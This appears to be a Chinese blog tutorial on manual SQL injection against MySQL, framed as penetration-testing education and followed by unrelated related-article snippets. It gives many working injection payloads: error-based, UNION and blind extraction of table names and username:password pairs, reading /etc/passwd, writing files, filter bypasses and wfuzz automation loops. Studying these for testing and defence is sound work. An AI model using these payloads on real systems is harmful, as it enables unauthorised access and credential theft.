vortex5

SQL注入从入门到入狱：万字长文带你领略手工注入的魅力

在SQL注入的世界中，灵活而直观的手工注入展现出独特的魅力。相比自动化工具，手工注入不仅能帮助我们深入理解漏洞原理，还能在特定场景下突破工具的局限。本文将从基础SQL函数入手，逐步探讨报错注入、联合注入、布尔盲注和时间盲注等多种手工注入技术。希望通过这篇文章，能让你感受到SQL注入的精妙之处，并在实战中游刃有余。

本文以MySQL为例，介绍手工注入原理与实现。

一、SQL注入必备函数速览

在开始手工注入之前，掌握一些常用的SQL函数是必不可少的。这些函数将成为我们构造Payload时的得力助手。以下是一些关键函数及其用途：

LIMIT <偏移量>,<行数>：限制查询返回的行数，例如LIMIT 1,2表示从第2行开始返回2行数据。
COUNT(*)：统计表中的总行数。
RAND()：生成0到1之间的随机数。
FLOOR(RAND()*<数字>)：从随机小数中提取整数部分。
SELECT (SELECT DATABASE())：嵌套查询示例，用于获取当前数据库名。
GROUP BY <列名>：按指定列汇总数据。
CONCAT(<字符串1>, <字符串2>, ...)：拼接字符串，常用于合并表名或列名。
LENGTH(<字符串>)：计算字符串长度。
SUBSTR(<字符串>, <偏移量>, <字符长度>)：提取字符串子串。
ASCII(<字符>)：返回字符的ASCII码值。
SLEEP(<秒数>)：暂停执行指定秒数，常用于时间盲注。
IF(<条件>, <真时操作>, <假时操作>)：条件判断语句。
LIKE "<字符串>%"：模糊匹配字符串。
INTO OUTFILE "<文件路径>"：将查询结果导出到文件。
LOAD_FILE("<文件路径>")：读取并返回文件内容。

这些函数将在后续的注入示例中频繁出现，熟练掌握它们将极大提升你的注入效率。

二、基础知识：MySQL 内置数据库

MySQL 预装了一些特殊的系统数据库，这些内置数据库不包含业务数据，而用于存储数据库管理和运行时信息。常见的系统数据库如下：

1. `information_schema`（元数据存储库）

作用：提供数据库的元数据（即关于数据库本身的信息），但不存储实际数据。

主要表结构：

schemata：存储所有数据库（即schema）的名称。
tables：存储数据库中的所有表信息。
columns：存储所有表的列信息。
key_column_usage：存储外键约束信息。
statistics：存储索引信息。

示例查询：获取当前数据库的所有表名：

SELECT table_name FROM information_schema.tables WHERE table_schema=database();

2. `mysql`（用户与权限管理）

作用：存储用户账户、权限、日志等信息，主要用于身份验证和权限控制。

主要表结构：

user：存储数据库用户及其权限。
db：存储数据库级别的权限控制。
tables_priv：存储表级权限。
columns_priv：存储列级权限。
procs_priv：存储存储过程和函数的权限。

示例查询：列出所有数据库用户：

SELECT user, host FROM mysql.user;

3. `performance_schema`（性能监控）

作用：记录数据库的性能数据，如查询、I/O、等待事件等。

主要表结构：

events_statements_summary_by_digest：存储SQL语句的执行统计信息。
threads：存储当前连接的线程信息。
table_io_waits_summary_by_table：存储表级别的I/O等待时间。
events_waits_summary_global_by_event_name：存储数据库的等待事件统计信息。

示例查询：获取最常执行的SQL语句：

SELECT digest_text, count_star FROM performance_schema.events_statements_summary_by_digest ORDER BY count_star DESC LIMIT 5;

4. `sys`（简化性能监控）

作用：基于 performance_schema，提供更易读的系统视图，用于数据库状态监控。

主要表结构：

sys.user_summary_by_statement_type：按SQL语句类型统计用户的执行情况。
sys.processlist：类似 SHOW PROCESSLIST，显示当前连接信息。
sys.wait_classes_global_by_avg_latency：存储全局等待事件的平均延迟信息。

示例查询：获取当前数据库的慢查询信息：

SELECT * FROM sys.statements_with_runtimes_in_95th_percentile;

三、手工注入的三大核心技术详解

手工注入主要依赖三种技术：报错注入（Error-based）、联合注入（Union-based）和盲注（Blind）。下面将逐一展开，结合具体示例说明其应用。

1. 报错注入：利用报错信息挖掘数据

报错注入通过触发数据库报错，观察返回信息来推断后端结构或数据。

步骤1：确认注入点是否存在

报错注入的前提是目标存在SQL注入漏洞，且后端会将数据库错误信息回显到页面。

测试方法：
- 在参数后添加单引号、双引号或其他SQL语法破坏字符，观察页面响应。
- 示例：
```
http://meh.com/index.php?id=1'
```
- 若返回类似You have an error in your SQL syntax...的错误，则存在注入点且报错可回显。
注意事项：
- 若单引号被过滤，可尝试"、\或不加引号直接拼接SQL函数。
- 使用注释符（如--+、#）闭合语句，确保报错触发。
示例：
```
http://meh.com/index.php?id=1' --+
```
若页面恢复正常但未报错，则需进一步测试报错回显。

步骤2：触发报错并验证回显

报错注入依赖数据库报错信息，因此需确认报错内容是否包含有用数据。

方法：
- 使用会导致语法错误的Payload，触发报错。
- 示例：
```
http://meh.com/index.php?id=1' AND 1=2 --+
```
- 若页面无变化，尝试更复杂的语句：
```
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'a') --+
```
  EXTRACTVALUE在MySQL中用于解析XML，若参数无效会报错。
验证报错回显：
- 若返回类似XPATH syntax error: 'a'的错误，说明报错可控且会回显。
后端逻辑假设：
- 原始查询可能是：
```
SELECT * FROM users WHERE id = '1'
```
- 输入1'后变成：
```
SELECT * FROM users WHERE id = '1''
```
- 语法错误触发报错。

步骤3：利用报错函数提取数据

MySQL中有多个函数在报错时会将参数内容回显，常用函数包括EXTRACTVALUE、UPDATEXML和FLOOR等。

方法1：使用`EXTRACTVALUE`

原理：
- EXTRACTVALUE(xml, xpath)解析XML并返回指定路径的值，若路径无效则报错并回显参数。

示例：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e)) --+

0x7e是~的十六进制表示，用于分隔。
若数据库名为test_db，报错可能为：
```
XPATH syntax error: '~test_db~'
```

方法2：使用`UPDATEXML`

原理：
- UPDATEXML(xml, xpath, new_value)更新XML，若路径无效则报错并回显。

示例：

http://meh.com/index.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1) --+

返回：
```
XPATH syntax error: '~root@localhost~'
```

方法3：使用`FLOOR`结合`RAND`（仅适用于特定版本）

原理：
- FLOOR(RAND(0)*2)在分组查询中可能因重复计算导致报错，回显子查询结果。

示例：

http://meh.com/index.php?id=1' AND 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --+

报错：

Duplicate entry 'test_db~1' for key 'group_key'

注意：
- FLOOR方法在MySQL 5.5+中可能失效，优先使用EXTRACTVALUE或UPDATEXML。

步骤4：提取基本数据库信息

利用报错函数提取常用信息。

获取数据库名：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+

获取当前用户：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e)) --+

获取版本：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@version, 0x7e)) --+

步骤5：枚举数据库结构

提取表名、列名等信息，借助information_schema。

获取所有表名：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e)) --+

可能返回：
```
XPATH syntax error: '~users,orders~'
```

获取指定表的列名：

假设表名为users：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+

XPATH syntax error: '~id,username,password~'

限制长度问题：

MySQL报错信息通常截断为32个字符，可用LIMIT逐条提取：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e)) --+

步骤6：提取表中数据

根据表名和列名提取具体内容。

获取users表的数据：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e)) --+

返回：
```
XPATH syntax error: '~admin,user1~'
```

拼接多列：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+

返回：
```
XPATH syntax error: '~admin:123456~'
```

步骤7：优化与绕过

面对过滤或限制时的应对策略。

绕过空格过滤：

用/**/替代空格：

http://meh.com/index.php?id=1'/**/AND/**/EXTRACTVALUE(1,/**/CONCAT(0x7e,/**/DATABASE(),/**/0x7e))--+

绕过关键字过滤：

用大小写混淆或函数嵌套：

http://meh.com/index.php?id=1' AnD ExTrAcTvAlUe(1, CoNcAt(0x7e, DaTaBaSe(), 0x7e)) --+

处理长数据：

使用SUBSTR分段提取：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 1, 30), 0x7e)) --+

注意事项

报错回显依赖：若后端不显示错误信息，报错注入无效，需转向盲注。
函数兼容性：EXTRACTVALUE和UPDATEXML适用于MySQL 5.1+，其他数据库可能需调整。
权限限制：访问information_schema需用户具备相应权限。
长度限制：报错信息可能截断，需分段提取或优化Payload。

实战演练

假设目标URL为http://meh.com/index.php?id=1，后端查询为：

SELECT * FROM users WHERE id = '1'

示例完整流程如下：

确认注入点：
```
http://meh.com/index.php?id=1'
```
返回SQL syntax error，存在注入且报错回显。
触发报错：
```
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'test') --+
```
返回XPATH syntax error: 'test'，报错可控。

提取数据库名：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+

返回XPATH syntax error: '~test_db~'。

枚举表名：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='test_db'), 0x7e)) --+

返回XPATH syntax error: '~users,orders~'。

提取列名：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+

返回XPATH syntax error: '~id,username,password~'。

提取数据：

http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+

返回XPATH syntax error: '~admin:123456~'。

2. 联合注入：拼接查询结果

联合注入通过UNION SELECT将自定义查询结果与原始查询拼接，前提是确保列数匹配且原始查询返回空结果（例如将id设为无效值，如-1）。

步骤1：确认注入点是否存在

联合查询的前提是目标存在SQL注入漏洞，因此首先需要验证注入点。

测试方法：
- 在参数后添加单引号，例如：
```
http://meh.com/index.php?id=1'
```
- 若页面报错（如显示SQL语法错误）或行为异常（返回空白或部分内容），则可能存在注入点。
注意事项：
- 若单引号被过滤，可尝试双引号（"）、反斜杠（\）或其他符号。
- 使用注释符（如--+、#）闭合语句，观察响应变化。
示例：
```
http://meh.com/index.php?id=1' --+
```
若页面恢复正常，说明注入点可控。

步骤2：确定后端查询的列数

联合查询要求攻击者的UNION SELECT语句列数与原始查询一致，因此需先确定列数。

方法1：使用ORDER BY逐步探测
- 在URL中添加ORDER BY <数字>，逐步增加数字，直到报错。
- 示例：
```
http://meh.com/index.php?id=1 ORDER BY 1 --+
http://meh.com/index.php?id=1 ORDER BY 2 --+
http://meh.com/index.php?id=1 ORDER BY 3 --+
```
- 若ORDER BY 2正常，ORDER BY 3报错，则后端查询有2列。
方法2：借助工具（如wfuzz）
- 使用自动化工具快速测试：
```
wfuzz -c -z range,1-10 "http://meh.com/index.php?id=1 ORDER BY FUZZ --+"
```
- 通过响应状态码或大小变化判断列数。
结果解读：
- 假设探测到列数为5，后续Payload需构造5列。

步骤3：构造基础联合查询并确保返回空结果

联合查询需要原始查询返回空结果，以便只显示攻击者构造的内容。

方法：
- 将参数设置为无效值（如-1），使原始查询无匹配记录。
- 示例（假设列数为5）：
```
http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+
```
后端逻辑假设：
- 原始查询可能是：
```
SELECT column1, column2, column3, column4, column5 FROM table WHERE id = '-1'
```
- 因为id=-1不存在，返回空结果，UNION后的内容生效。
验证：
- 若页面显示数字1,2,3,4,5中的部分或全部，则联合查询生效。

步骤4：确定页面可显示的列

并非所有列的内容都会显示在页面上，需找出哪些列会回显。

方法：
- 用明显不同的字符串替换数字，逐列测试。
- 示例：
```
http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+
```
- 检查页面，若显示c，说明第3列可回显。
结果：
- 假设第3列可显示，后续注入将数据放在第3列。

步骤5：提取基本数据库信息

利用可显示列提取数据库元信息。

获取数据库版本：
```
http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@version,4,5 --+
```
- 若第3列显示5.7.32，则为MySQL版本。

获取当前用户：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,USER(),4,5 --+

可能返回root@localhost。

获取当前数据库名：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+

可能返回test_db。

获取数据目录：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@datadir,4,5 --+

步骤6：枚举数据库结构

进一步提取表名、列名等信息，通常借助information_schema表。

获取所有表名：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=DATABASE() --+

GROUP_CONCAT将结果拼接为逗号分隔的字符串，如users,orders。

获取指定表的列名：

假设表名为users：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+

可能返回id,username,password。

步骤7：提取表中数据

根据表名和列名，提取具体数据。

获取users表的内容：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(username),4,5 FROM users --+

可能返回admin,user1,user2。

提取多列内容：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(username,':',password),4,5 FROM users --+

可能返回admin:123456,user1:password。

步骤8：高级应用（可选）

联合查询还可用于文件操作或权限提升。

导出数据到文件：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,username,4,5 FROM users INTO OUTFILE '/tmp/users.txt' --+

前提：具有文件写入权限，且路径可控。

读取文件内容：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5 --+

注意事项

列数匹配：UNION SELECT的列数必须与原始查询一致。
数据类型一致：每列的数据类型需与原始查询对应（如字符串列不能注入数字）。
注释符选择：根据过滤情况使用--+、#或/* */。
绕过过滤：若空格被过滤，可用/**/替代；若单引号被转义，可用CHAR(39)表示。
权限限制：文件操作需数据库用户具备FILE权限。

实战演练

假设目标URL为http://meh.com/index.php?id=1，后端查询为：

SELECT id, name, email, age, city FROM users WHERE id = '1'

示例完整流程如下：

确认注入点：
```
http://meh.com/index.php?id=1' --+
```
页面正常，存在注入。

确定列数：

http://meh.com/index.php?id=1 ORDER BY 5 --+  # 正常
http://meh.com/index.php?id=1 ORDER BY 6 --+  # 报错

列数为5。

构造基础联合查询：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+

确定显示列：

http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+

页面显示c，第3列可回显。

提取信息：

数据库名：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+

返回test_db。

表名：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema='test_db' --+

返回users,orders。

列名：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+

返回id,name,email,age,city。

数据：

http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(name,':',email),4,5 FROM users --+

返回admin:[email protected],user1:[email protected]。

3. 盲注：无声中取胜

盲注适用于页面仅返回简单状态（如“成功”或“失败”），而不显示SQL错误或查询结果的场景。攻击者通过构造条件语句，观察页面响应变化（布尔盲注）或响应时间差异（时间盲注），逐字符推断数据库信息。

步骤1：确认注入点是否存在

盲注的第一步是验证参数是否可被SQL语句操控。

测试方法：
- 输入简单条件语句，观察页面响应。
- 示例：
```
http://meh.com/index.php?id=1' AND 1=1 --+
```
  - 若页面正常显示，说明条件为真。
```
http://meh.com/index.php?id=1' AND 1=2 --+
```
  - 若页面异常（如空白或错误提示），说明条件为假，存在注入点。
注意事项：
- 若单引号被过滤，尝试"、\或无引号拼接。
- 使用注释符（如--+、#）闭合语句。

后端逻辑假设：

原始查询：
```
SELECT * FROM users WHERE id = '1'
```

输入1' AND 1=1 --+后：

SELECT * FROM users WHERE id = '1' AND 1=1 --'

条件成立，页面正常。

步骤2：选择盲注类型

根据页面反馈特性，选择布尔盲注或时间盲注：

布尔盲注：页面有明显真假状态区分（如“登录成功” vs “登录失败”）。
时间盲注：页面无状态变化，但可通过响应时间推断。

布尔盲注（Boolean-based Blind SQL Injection）

步骤3：验证布尔盲注可行性

方法：

输入恒真和恒假条件，观察页面差异。

示例：

http://meh.com/index.php?id=1' AND 1=1 --+  # 页面正常
http://meh.com/index.php?id=1' AND 1=2 --+  # 页面异常

确认：
- 若响应有明显区分，则布尔盲注可行。

步骤4：逐字符推断数据

布尔盲注通过构造条件，逐字符猜测数据库信息，常用函数包括SUBSTR和ASCII。

获取数据库名

方法：
- 使用SUBSTR提取数据库名某位置的字符，与猜测值比较。
- 示例：
```
http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 1, 1)='t' --+
```
  - 若页面正常，则首字母为t。
```
http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 2, 1)='e' --+
```
  - 若正常，则第2个字母为e。
优化：使用ASCII：
- 将字符转为ASCII码，缩小猜测范围。
- 示例：
```
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+
```
  - 116是t的ASCII码，若正常则首字母为t。

枚举表名

方法：

查询information_schema.tables：

http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117 --+

117是u，若正常则首表名以u开头（如users）。

提取列名和数据

列名：

http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 1, 1))=105 --+

105是i，可能为id。

数据：

http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97 --+

97是a，可能为admin。

步骤5：自动化优化

手动逐字符猜测效率低，可结合工具（如wfuzz）加速。

猜测数据库名：

for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ --+"; done

范围32-127覆盖标准ASCII字符，正确字符对应正常响应。

获取表名：

for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))=FUZZ --+"; done

时间盲注（Time-based Blind SQL Injection）

步骤3：验证时间盲注可行性

方法：
- 使用sleep()函数引入延迟，观察响应时间。
- 示例：
```
http://meh.com/index.php?id=1' AND SLEEP(5) --+
```
  - 若响应延迟5秒，则时间盲注可行。
注意：
- 若id=1为真值，需用AND，否则用OR：
```
http://meh.com/index.php?id=0' OR SLEEP(5) --+
```

步骤4：逐字符推断数据

时间盲注通过条件判断结合延迟，推断数据。

获取数据库名

方法：

使用IF和sleep()：

http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=116, SLEEP(5), 0) --+

若延迟5秒，则首字母为t。

枚举表名

方法：

http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+

延迟则表名首字母为u。

提取数据

方法：

http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97, SLEEP(5), 0) --+

延迟则数据首字母为a。

步骤5：自动化优化

时间盲注耗时长，可用wfuzz结合时间筛选。

猜测数据库名：

for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt

grep "0m4"筛选延迟响应（约5秒）。

提取列内容：

for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt

注意事项

响应稳定性：
- 布尔盲注依赖页面状态一致性，时间盲注需网络延迟稳定。
权限要求：
- 访问information_schema需相应权限。
绕过过滤：
- 空格用/**/，关键字用大小写混淆。
效率优化：
- 先用二分法猜测ASCII范围（如>64），缩小范围。
真假值：
- 时间盲注需根据原始条件选择AND或OR。

实战演练

目标URL：http://meh.com/index.php?id=1，后端：

SELECT * FROM users WHERE id = '1'

示例完整流程如下：

布尔盲注演练

确认注入：

http://meh.com/index.php?id=1' AND 1=1 --+  # 正常
http://meh.com/index.php?id=1' AND 1=2 --+  # 异常

获取数据库名：

http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+  # 正常，'t'
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 2, 1))=101 --+  # 正常，'e'

结果：test_db。

时间盲注演练

验证延迟：

http://meh.com/index.php?id=1' AND SLEEP(5) --+  # 延迟5秒

获取表名：

http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+

延迟则为u，结果：users。

四、总结

手工注入的魅力在于其极致的灵活性与对细节的精准掌控。无论是通过报错注入快速定位数据库结构，还是利用联合注入优雅地拼接数据，亦或是盲注在无声之中悄然挖掘关键信息，每一种技术都如同精心雕琢的艺术品，展现了SQL注入的独特魅力与深邃内涵。本文从基础函数入手，逐步深入实战技巧，全方位为你呈现出了手工注入的全貌。愿你在未来的渗透测试中，能够熟练运用这些方法，在挑战与乐趣中领略SQL注入的无限魅力。

你可能感兴趣的:(sql,数据库,网络安全,渗透测试,安全)

我不懂什么是爱，但我给你全部我拥有的香尧
因为怕黑，所以愿意陪伴在夜中行走的人，给他一点点的安全感。因为渴望温柔与爱，所以愿意为别的孩子付出爱与温柔。因为曾遭受侮辱和伤害，所以不以同样的方式施于其他人。如果你向别人出之以利刃，对方还了你爱与包容，真的不要感激他，真的不要赞美他。每一个被人伤害过的人心里都留下了一颗仇恨的种子，他也会想要有一天以眼还眼，以牙还牙。但他未让那颗种子生根发芽，他用一把心剑又一次刺向他自己，用他血荐仇恨，开出一朵温
深入解析JVM工作原理：从字节码到机器指令的全过程
一、JVM概述Java虚拟机(JVM)是Java平台的核心组件，它实现了Java"一次编写，到处运行"的理念。JVM是一个抽象的计算机器，它有自己的指令集和运行时内存管理机制。JVM的主要职责：加载：读取.class文件并验证其正确性存储：管理内存分配和垃圾回收执行：解释或编译字节码为机器指令安全：提供沙箱环境限制恶意代码二、JVM架构详解JVM由三个主要子系统组成：1.类加载子系统类加载过程分为
叮嘱!北恒高级班周一丰创投杯量化私募大赛不正规！受骗不能提现出金被骗真相曝光！天权顾问
量化北恒私募实盘大赛周一丰投票项目安全吗?量化北恒私募实盘大赛周一丰积分投票已经亏损被骗了怎么办？警惕!量化北恒私募实盘大赛周一丰十选五项目合法吗——杀猪盘骗局！被骗提不了款!提不了现!出不来金!不要上当!自古有句话讲得好“人善被欺、马善被骑”，现如今也是被骗子利用到了极致，人善就真该被欺骗吗？狡猾的骗子们就利用到了这点，利用同情心、爱心去进行诈骗，宣传公益捐款、爱心慈善打比赛来骗取资金！正常的投
什么是缓存雪崩？缓存击穿？缓存穿透？分别如何解决？什么是缓存预热？ daixin8848 缓存 redis java 开发语言
缓存雪崩：在一个时间段内，有大量的key过期，或者Redis服务宕机，导致大量的请求到达数据库,带来巨大压力-给key设置不同的TTL、利用Redis集群提高服务的高可用性、添加多级缓存、添加降级流策略缓存击穿：给某一个key设置了过期时间，当key过期的时间，恰好这个时间点有大量的并发请求访问这个key，可能会瞬间把数据库压垮-互斥锁：缓存失败时，只允许一个请求去加载数据并更新缓存，其他请求阻塞
企业级区块链平台Hyperchain核心原理剖析 boyedu 区块链区块链企业级区块链平台 Hyperchain
Hyperchain作为国产自主可控的企业级联盟区块链平台，其核心原理围绕高性能共识、隐私保护、智能合约引擎及可扩展架构展开，通过多模块协同实现企业级区块链网络的高效部署与安全运行。以下从核心架构、关键技术、性能优化、安全机制、应用场景五个维度展开剖析：一、核心架构：分层解耦与模块化设计Hyperchain采用分层架构，将区块链功能解耦为独立模块，支持灵活组合与扩展：P2P网络层由验证节点（VP）
在线人数统计业务设计（场景八股文）
业务问题在当经的网站中，在线人数的实时统计已经是一个必不可少的模块了，并且该统计功能最好能够按不同的时间间隔做的统计，现在需要你设计一个在线人数统计的模块，你应该怎么进行设计的呢？背景一个网校下会有多个学员。目前平台大概有十个，平台对应的网校大概五十几个，平均一个网校会有5w个用户，预计总人数为200w，最该学员的在线人数在10w左右。设计思路最开始的时候，想到的就是使用mysql直接实现，但是明
Aop +反射实现方法版本动态切换
需求分析在做技术选型的时候一直存在着两个声音，mongo作为数据库比较mysql好，mysql做为该数据比mongo好。当然不同数据库都有有着自己的优势，我们在做技术选型的时候无非就是做到对数据库的扬长避短。mysql最大的优势就是支持事务，事务的五大特性保证的业务可靠性，随之而来的就是事务会产生的问题：脏读、幻读、不可重复度，当然我们也会使用不同的隔离级别来解决。（最典型的业务问题：银行存取钱）
第八章竟然是他橥橥
十天之后，京城已在眼前。沐子莹总算松了口，天子脚下，相对安全。马车在城门外停下，杨嬷嬷掀了帘子往外望去，哀叹了一声。沐子莹拍拍身上的灰尘安慰她说：“嬷嬷，别怕，马上就要到府了，咱们可得把那车夫的事跟主母讲一讲，让主她这个当家的给我们作主才是。”嬷嬷却连连摆手，“不可啊小姐，咱们能平安回府就是幸事，车夫的事……就说他摔死在半路，其它的，莫要再提了吧。”“若真是车夫生事那算是万幸了，只怕容不得我们的，
最新阿里四面面试真题46道：面试技巧+核心问题+面试心得风平浪静如码
前言做技术的有一种资历，叫做通过了阿里的面试。这些阿里Java相关问题，都是之前通过不断优秀人才的铺垫总结的，先自己弄懂了再去阿里面试，不然就是去丢脸，被虐。希望对大家帮助，祝面试成功，有个更好的职业规划。一，阿里常见技术面1、微信红包怎么实现。2、海量数据分析。3、测试职位问的线程安全和非线程安全。4、HTTP2.0、thrift。5、面试电话沟通可能先让自我介绍。6、分布式事务一致性。7、ni
2025年SDK游戏盾终极解析：重新定义手游安全的“隐形护甲” 上海云盾商务经理杨杨游戏安全
副标题：从客户端加密到AI反外挂，拆解全链路防护如何重塑游戏攻防天平引言：当传统高防在手游战场“失效”2025年全球手游市场规模突破$2000亿，黑客单次攻击成本却降至$30——某SLG游戏因协议层CC攻击单日流失37%玩家，某开放世界游戏遭低频DDoS瘫痪6小时损失千万。传统高防IP的致命短板暴露无遗：无法识别伪造客户端流量、难防协议篡改、误杀率超15%。而集成于游戏终端的SDK游戏盾，正以“源
善吃五色五味，女人更妖娆，想漂亮享受健康美味吃起来余老师讲健康
善吃五色五味，女人更妖娆我们所说的五色五味是指具有赤、青、黄、白、黑五种颜色以及酸、辛、甘、苦、咸五种味道的食物。其实五味和五色与人体的五脏对应，养生必养五脏，通过五味、五色的食物可以调养人的容颜。一、赤色、苦味入心——养颜，面色红润有句话这么说，“会吃的女人更漂亮，贪吃的女人变糟粕。”经过科学、合理搭配的五色五味饮食，就是最天然、最安全的美容药方。赤色——抗衰老，增强免疫力，改善血液循环。赤色即
2019做重要的事，让遗憾减少 Sandy黄珊丹
岁末年初，又到了回顾和展望的时间。回顾2018，你有哪些事情没有去做或者没有做到而感到遗憾的呢？2019年我们要怎么做，可以减少遗憾呢？回想自己在2017年以前，一直处在忙碌的家庭和事业中，忙碌让我感到安全，稍微停下脚步都感到是一种罪过，每一件事似乎都很重要。直到2017春节后，因为对未来彷徨和焦虑，让我严重失眠，家庭关系恶化，都让心疲惫无法进入工作状态，不得不寻找解决的的办法。在2017年5月份
新家长必修课小贴士—如何做到无条件接纳 SDDE兰
2021年6月14日星期一《新父母晨报》【育儿知识】：怎样做才是无条件地接纳孩子呢？在孩子成长的过程当中，来自父母无条件地接纳，是孩子成长的安全基地，是孩子面对任何困难时候的底气。只有被父母无条件接纳的孩子，未来不管遇到什么样的境况，都会感觉有后盾，都能更快地去适应。怎样做才是无条件地接纳孩子呢？有两个非常重要的维度：️接纳孩子的感受✨一个孩子不管他的行为是可爱，还是令人讨厌，他其实都是为了寻求父
今日随笔小小林_005b
2019.10.21.周一晴全职第436天50+21/day118天【皮皮第118天】1.昨晚闹腾到一点多才安稳入睡，一个晚上一直哭哭闹闹(´;︵;`)，没睡一会儿就会惊吓大哭(´;︵;`)，一直抱着哄，似乎抱着才更加有安全感才能睡得更好。小胖子越来越重，我的手和腰部有些承受不了，经常腰酸痛到直不起来，好在有黑先生和啊影子下班后有空了就帮我抱一会儿。2.今日排便三次，一次偏向绿色，一两次金黄色。3
mysql复习立夏的李子 mysql 数据库 database
mysqlselect语法selectfromjoinwheregroupbyhavingorderbylimit联合查询innerjoin（）leftjoin（以左表为基准，匹配右表，不匹配的返回左表，右表以null值填充）rightjoind··(去除列重复的数据)索引类型主键索引(PrimaryKey)唯一索引(Unique)常规索引(Index)全文索引(FullText)索引准则索引不是
